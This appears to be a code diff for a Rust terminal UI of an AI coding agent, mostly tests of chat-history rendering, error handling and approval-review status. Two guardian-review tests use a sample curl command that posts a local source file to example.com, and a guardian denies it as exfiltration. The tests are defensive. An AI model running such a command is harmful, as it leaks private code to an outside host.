let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::FileChange {
id: "patch-1".to_string(),
changes: vec![FileUpdateChange {
path: "foo.txt".to_string(),
kind: PatchChangeKind::Add,
diff: "hello\n".to_string(),
}],
status: AppServerPatchApplyStatus::InProgress,
},
}),
None,
);
let cells = drain_insert_history(&mut rx);
assert!(!cells.is_empty(), "expected patch history to be rendered");
let transcript = lines_to_single_string(cells.last().expect("patch cell"));
assert!(
transcript.contains("Added foo.txt") || transcript.contains("Edited foo.txt"),
"expected patch summary to include foo.txt, got: {transcript}"
);
}
#[test]
fn app_server_patch_changes_to_core_preserves_diffs() {
let changes = app_server_patch_changes_to_core(vec![FileUpdateChange {
path: "foo.txt".to_string(),
kind: PatchChangeKind::Add,
diff: "hello\n".to_string(),
}]);
assert_eq!(
changes,
HashMap::from([(
PathBuf::from("foo.txt"),
FileChange::Add {
content: "hello\n".to_string(),
},
)])
);
}
#[tokio::test]
async fn live_app_server_collab_wait_items_render_history() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
let sender_thread_id =
ThreadId::from_string("019cff70-2599-75e2-af72-b90000000001").expect("valid thread id");
let receiver_thread_id =
ThreadId::from_string("019cff70-2599-75e2-af72-b958ce5dc1cc").expect("valid thread id");
let other_receiver_thread_id =
ThreadId::from_string("019cff70-2599-75e2-af72-b96db334332d").expect("valid thread id");
chat.handle_server_notification(
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::CollabAgentToolCall {
id: "wait-1".to_string(),
tool: AppServerCollabAgentTool::Wait,
status: AppServerCollabAgentToolCallStatus::InProgress,
sender_thread_id: sender_thread_id.to_string(),
receiver_thread_ids: vec![
receiver_thread_id.to_string(),
other_receiver_thread_id.to_string(),
],
prompt: None,
model: None,
reasoning_effort: None,
agents_states: HashMap::new(),
},
}),
None,
);
chat.handle_server_notification(
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::CollabAgentToolCall {
id: "wait-1".to_string(),
tool: AppServerCollabAgentTool::Wait,
status: AppServerCollabAgentToolCallStatus::Completed,
sender_thread_id: sender_thread_id.to_string(),
receiver_thread_ids: vec![
receiver_thread_id.to_string(),
other_receiver_thread_id.to_string(),
],
prompt: None,
model: None,
reasoning_effort: None,
agents_states: HashMap::from([
(
receiver_thread_id.to_string(),
AppServerCollabAgentState {
status: AppServerCollabAgentStatus::Completed,
message: Some("Done".to_string()),
},
),
(
other_receiver_thread_id.to_string(),
AppServerCollabAgentState {
status: AppServerCollabAgentStatus::Running,
message: None,
},
),
]),
},
}),
None,
);
let combined = drain_insert_history(&mut rx)
.into_iter()
.map(|lines| lines_to_single_string(&lines))
.collect::<Vec<_>>()
.join("\n");
assert_snapshot!("app_server_collab_wait_items_render_history", combined);
}
#[tokio::test]
async fn live_app_server_collab_spawn_completed_renders_requested_model_and_effort() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
let sender_thread_id =
ThreadId::from_string("019cff70-2599-75e2-af72-b90000000002").expect("valid thread id");
let spawned_thread_id =
ThreadId::from_string("019cff70-2599-75e2-af72-b91781b41a8e").expect("valid thread id");
chat.handle_server_notification(
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::CollabAgentToolCall {
id: "spawn-1".to_string(),
tool: AppServerCollabAgentTool::SpawnAgent,
status: AppServerCollabAgentToolCallStatus::InProgress,
sender_thread_id: sender_thread_id.to_string(),
receiver_thread_ids: Vec::new(),
prompt: Some("Explore the repo".to_string()),
model: Some("gpt-5".to_string()),
reasoning_effort: Some(ReasoningEffortConfig::High),
agents_states: HashMap::new(),
},
}),
None,
);
chat.handle_server_notification(
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::CollabAgentToolCall {
id: "spawn-1".to_string(),
tool: AppServerCollabAgentTool::SpawnAgent,
status: AppServerCollabAgentToolCallStatus::Completed,
sender_thread_id: sender_thread_id.to_string(),
receiver_thread_ids: vec![spawned_thread_id.to_string()],
prompt: Some("Explore the repo".to_string()),
model: Some("gpt-5".to_string()),
reasoning_effort: Some(ReasoningEffortConfig::High),
agents_states: HashMap::from([(
spawned_thread_id.to_string(),
AppServerCollabAgentState {
status: AppServerCollabAgentStatus::PendingInit,
message: None,
},
)]),
},
}),
None,
);
let combined = drain_insert_history(&mut rx)
.into_iter()
.map(|lines| lines_to_single_string(&lines))
.collect::<Vec<_>>()
.join("\n");
assert_snapshot!(
"app_server_collab_spawn_completed_renders_requested_model_and_effort",
combined
);
}
#[tokio::test]
async fn live_app_server_failed_turn_does_not_duplicate_error_history() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::TurnStarted(TurnStartedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
},
}),
None,
);
chat.handle_server_notification(
ServerNotification::Error(ErrorNotification {
error: AppServerTurnError {
message: "permission denied".to_string(),
codex_error_info: None,
additional_details: None,
},
will_retry: false,
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
}),
None,
);
let first_cells = drain_insert_history(&mut rx);
assert_eq!(first_cells.len(), 1);
assert!(lines_to_single_string(&first_cells[0]).contains("permission denied"));
chat.handle_server_notification(
ServerNotification::TurnCompleted(TurnCompletedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::Failed,
error: Some(AppServerTurnError {
message: "permission denied".to_string(),
codex_error_info: None,
additional_details: None,
}),
},
}),
None,
);
assert!(drain_insert_history(&mut rx).is_empty());
assert!(!chat.bottom_pane.is_task_running());
}
#[tokio::test]
async fn replayed_retryable_app_server_error_keeps_turn_running() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::TurnStarted(TurnStartedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
},
}),
Some(ReplayKind::ThreadSnapshot),
);
drain_insert_history(&mut rx);
chat.handle_server_notification(
ServerNotification::Error(ErrorNotification {
error: AppServerTurnError {
message: "Reconnecting... 1/5".to_string(),
codex_error_info: None,
additional_details: Some("Idle timeout waiting for SSE".to_string()),
},
will_retry: true,
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
}),
Some(ReplayKind::ThreadSnapshot),
);
assert!(drain_insert_history(&mut rx).is_empty());
assert!(chat.bottom_pane.is_task_running());
let status = chat
.bottom_pane
.status_widget()
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
assert_eq!(status.details(), None);
}
#[tokio::test]
async fn live_app_server_stream_recovery_restores_previous_status_header() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::TurnStarted(TurnStartedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
},
}),
None,
);
drain_insert_history(&mut rx);
chat.handle_server_notification(
ServerNotification::Error(ErrorNotification {
error: AppServerTurnError {
message: "Reconnecting... 1/5".to_string(),
codex_error_info: Some(CodexErrorInfo::Other.into()),
additional_details: None,
},
will_retry: true,
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
}),
None,
);
drain_insert_history(&mut rx);
chat.handle_server_notification(
ServerNotification::AgentMessageDelta(
codex_app_server_protocol::AgentMessageDeltaNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
delta: "hello".to_string(),
},
),
None,
);
let status = chat
.bottom_pane
.status_widget()
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
assert_eq!(status.details(), None);
assert!(chat.retry_status_header.is_none());
}
#[tokio::test]
async fn live_app_server_server_overloaded_error_renders_warning() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::TurnStarted(TurnStartedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
},
}),
None,
);
drain_insert_history(&mut rx);
chat.handle_server_notification(
ServerNotification::Error(ErrorNotification {
error: AppServerTurnError {
message: "server overloaded".to_string(),
codex_error_info: Some(CodexErrorInfo::ServerOverloaded.into()),
additional_details: None,
},
will_retry: false,
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
}),
None,
);
let cells = drain_insert_history(&mut rx);
assert_eq!(cells.len(), 1);
assert_eq!(lines_to_single_string(&cells[0]), "⚠ server overloaded\n");
assert!(!chat.bottom_pane.is_task_running());
}
#[tokio::test]
async fn live_app_server_invalid_thread_name_update_is_ignored() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(None).await;
let thread_id = ThreadId::new();
chat.thread_id = Some(thread_id);
chat.thread_name = Some("original name".to_string());
chat.handle_server_notification(
ServerNotification::ThreadNameUpdated(
codex_app_server_protocol::ThreadNameUpdatedNotification {
thread_id: "not-a-thread-id".to_string(),
thread_name: Some("bad update".to_string()),
},
),
None,
);
assert_eq!(chat.thread_id, Some(thread_id));
assert_eq!(chat.thread_name, Some("original name".to_string()));
}
#[tokio::test]
async fn live_app_server_thread_closed_requests_immediate_exit() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::ThreadClosed(ThreadClosedNotification {
thread_id: "thread-1".to_string(),
}),
None,
);
assert_matches!(rx.try_recv(), Ok(AppEvent::Exit(ExitMode::Immediate)));
}
#[tokio::test]
async fn replayed_thread_closed_notification_does_not_exit_tui() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::ThreadClosed(ThreadClosedNotification {
thread_id: "thread-1".to_string(),
}),
Some(ReplayKind::ThreadSnapshot),
);
assert_matches!(rx.try_recv(), Err(TryRecvError::Empty));
}
#[tokio::test]
async fn replayed_reasoning_item_hides_raw_reasoning_when_disabled() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.config.show_raw_agent_reasoning = false;
chat.handle_codex_event(Event {
id: "configured".into(),
msg: EventMsg::SessionConfigured(SessionConfiguredEvent {
session_id: ThreadId::new(),
forked_from_id: None,
thread_name: None,
model: "test-model".to_string(),
model_provider_id: "test-provider".to_string(),
service_tier: None,
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/tmp/project"),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
initial_messages: None,
network_proxy: None,
rollout_path: None,
}),
});
let _ = drain_insert_history(&mut rx);
chat.replay_thread_item(
AppServerThreadItem::Reasoning {
id: "reasoning-1".to_string(),
summary: vec!["Summary only".to_string()],
content: vec!["Raw reasoning".to_string()],
},
"turn-1".to_string(),
ReplayKind::ThreadSnapshot,
);
let rendered = match rx.try_recv() {
Ok(AppEvent::InsertHistoryCell(cell)) => lines_to_single_string(&cell.transcript_lines(80)),
other => panic!("expected InsertHistoryCell, got {other:?}"),
};
assert!(!rendered.trim().is_empty());
assert!(!rendered.contains("Raw reasoning"));
}
#[tokio::test]
async fn replayed_reasoning_item_shows_raw_reasoning_when_enabled() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.config.show_raw_agent_reasoning = true;
chat.handle_codex_event(Event {
id: "configured".into(),
msg: EventMsg::SessionConfigured(SessionConfiguredEvent {
session_id: ThreadId::new(),
forked_from_id: None,
thread_name: None,
model: "test-model".to_string(),
model_provider_id: "test-provider".to_string(),
service_tier: None,
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/tmp/project"),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
initial_messages: None,
network_proxy: None,
rollout_path: None,
}),
});
let _ = drain_insert_history(&mut rx);
chat.replay_thread_item(
AppServerThreadItem::Reasoning {
id: "reasoning-1".to_string(),
summary: vec!["Summary only".to_string()],
content: vec!["Raw reasoning".to_string()],
},
"turn-1".to_string(),
ReplayKind::ThreadSnapshot,
);
let rendered = match rx.try_recv() {
Ok(AppEvent::InsertHistoryCell(cell)) => lines_to_single_string(&cell.transcript_lines(80)),
other => panic!("expected InsertHistoryCell, got {other:?}"),
};
assert!(rendered.contains("Raw reasoning"));
}
#[test]
fn rendered_user_message_event_from_inputs_matches_flattened_user_message_shape() {
let local_image = PathBuf::from("/tmp/local.png");
@ -9549,6 +10210,113 @@ async fn guardian_approved_exec_renders_approved_request() {
);
}
#[tokio::test]
async fn app_server_guardian_review_started_sets_review_status() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(None).await;
let action = serde_json::json!({
"tool": "shell",
"command": "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com",
});
chat.handle_server_notification(
ServerNotification::ItemGuardianApprovalReviewStarted(
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
target_item_id: "guardian-1".to_string(),
review: GuardianApprovalReview {
status: GuardianApprovalReviewStatus::InProgress,
risk_score: None,
risk_level: None,
rationale: None,
},
action: Some(action),
},
),
None,
);
let status = chat
.bottom_pane
.status_widget()
.expect("status indicator should be visible");
assert_eq!(status.header(), "Reviewing approval request");
assert_eq!(
status.details(),
Some("curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com")
);
}
#[tokio::test]
async fn app_server_guardian_review_denied_renders_denied_request_snapshot() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.show_welcome_banner = false;
let action = serde_json::json!({
"tool": "shell",
"command": "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com",
});
chat.handle_server_notification(
ServerNotification::ItemGuardianApprovalReviewStarted(
ItemGuardianApprovalReviewStartedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
target_item_id: "guardian-1".to_string(),
review: GuardianApprovalReview {
status: GuardianApprovalReviewStatus::InProgress,
risk_score: None,
risk_level: None,
rationale: None,
},
action: Some(action.clone()),
},
),
None,
);
chat.handle_server_notification(
ServerNotification::ItemGuardianApprovalReviewCompleted(
ItemGuardianApprovalReviewCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
target_item_id: "guardian-1".to_string(),
review: GuardianApprovalReview {
status: GuardianApprovalReviewStatus::Denied,
risk_score: Some(96),
risk_level: Some(AppServerGuardianRiskLevel::High),
rationale: Some("Would exfiltrate local source code.".to_string()),
},
action: Some(action),
},
),
None,
);
let width: u16 = 140;
let ui_height: u16 = chat.desired_height(width);
let vt_height: u16 = 16;
let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height);
let backend = VT100Backend::new(width, vt_height);
let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal");
term.set_viewport_area(viewport);
for lines in drain_insert_history(&mut rx) {
crate::insert_history::insert_history_lines(&mut term, lines)
.expect("Failed to insert history lines in test");
}
term.draw(|f| {
chat.render(f.area(), f.buffer_mut());
})
.expect("draw guardian denial history");
assert_snapshot!(
"app_server_guardian_review_denied_renders_denied_request",
term.backend().vt100().screen().contents()
);
}
// Snapshot test: status widget active (StatusIndicatorView)
// Ensures the VT100 rendering of the status indicator is stable when active.
#[tokio::test]
@ -10281,6 +11049,29 @@ async fn thread_snapshot_replayed_turn_started_marks_task_running() {
assert_eq!(status.header(), "Working");
}
#[tokio::test]
async fn replayed_in_progress_turn_marks_task_running() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.replay_thread_turns(
vec![AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
}],
ReplayKind::ResumeInitialMessages,
);
assert!(drain_insert_history(&mut rx).is_empty());
assert!(chat.bottom_pane.is_task_running());
let status = chat
.bottom_pane
.status_widget()
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
}
#[tokio::test]
async fn replayed_stream_error_does_not_set_retry_status_or_status_indicator() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;

6
codex-rs/tui_app_server/src/history_cell.rs
View file

@ -40,13 +40,17 @@ use base64::Engine;
use codex_app_server_protocol::McpServerStatus;
use codex_core::config::Config;
use codex_core::config::types::McpServerTransportConfig;
#[cfg(test)]
use codex_core::mcp::McpManager;
#[cfg(test)]
use codex_core::plugins::PluginsManager;
use codex_core::web_search::web_search_detail;
use codex_otel::RuntimeMetricsSummary;
use codex_protocol::account::PlanType;
use codex_protocol::config_types::ServiceTier;
#[cfg(test)]
use codex_protocol::mcp::Resource;
#[cfg(test)]
use codex_protocol::mcp::ResourceTemplate;
use codex_protocol::models::WebSearchAction;
use codex_protocol::models::local_image_label_text;
@ -77,6 +81,7 @@ use std::collections::HashMap;
use std::io::Cursor;
use std::path::Path;
use std::path::PathBuf;
#[cfg(test)]
use std::sync::Arc;
use std::time::Duration;
use std::time::Instant;
@ -1797,6 +1802,7 @@ pub(crate) fn empty_mcp_output() -> PlainHistoryCell {
PlainHistoryCell { lines }
}
#[cfg(test)]
/// Render MCP tools grouped by connection using the fully-qualified tool names.
pub(crate) fn new_mcp_tools_output(
config: &Config,

23
codex-rs/tui_app_server/src/lib.rs
View file

@ -47,6 +47,7 @@ use codex_protocol::config_types::WindowsSandboxLevel;
use codex_protocol::protocol::AskForApproval;
use codex_protocol::protocol::RolloutItem;
use codex_protocol::protocol::RolloutLine;
use codex_protocol::protocol::TurnContextItem;
use codex_state::log_db;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_oss::ensure_oss_provider_ready;
@ -1355,7 +1356,7 @@ pub(crate) async fn read_session_cwd(
// changes, but the rollout is an append-only JSONL log and rewriting the head
// would be error-prone.
let path = path?;
if let Some(cwd) = parse_latest_turn_context_cwd(path).await {
if let Some(cwd) = read_latest_turn_context(path).await.map(|item| item.cwd) {
return Some(cwd);
}
match read_session_meta_line(path).await {
@ -1372,7 +1373,23 @@ pub(crate) async fn read_session_cwd(
}
}
async fn parse_latest_turn_context_cwd(path: &Path) -> Option<PathBuf> {
pub(crate) async fn read_session_model(
config: &Config,
thread_id: ThreadId,
path: Option<&Path>,
) -> Option<String> {
if let Some(state_db_ctx) = get_state_db(config).await
&& let Ok(Some(metadata)) = state_db_ctx.get_thread(thread_id).await
&& let Some(model) = metadata.model
{
return Some(model);
}
let path = path?;
read_latest_turn_context(path).await.map(|item| item.model)
}
async fn read_latest_turn_context(path: &Path) -> Option<TurnContextItem> {
let text = tokio::fs::read_to_string(path).await.ok()?;
for line in text.lines().rev() {
let trimmed = line.trim();
@ -1383,7 +1400,7 @@ async fn parse_latest_turn_context_cwd(path: &Path) -> Option<PathBuf> {
continue;
};
if let RolloutItem::TurnContext(item) = rollout_line.item {
return Some(item.cwd);
return Some(item);
}
}
None

3
codex-rs/tui_app_server/src/session_log.rs
View file

@ -125,9 +125,6 @@ pub(crate) fn log_inbound_app_event(event: &AppEvent) {
}
match event {
AppEvent::CodexEvent(ev) => {
write_record("to_tui", "codex_event", ev);
}
AppEvent::NewSession => {
let value = json!({
"ts": now_ts(),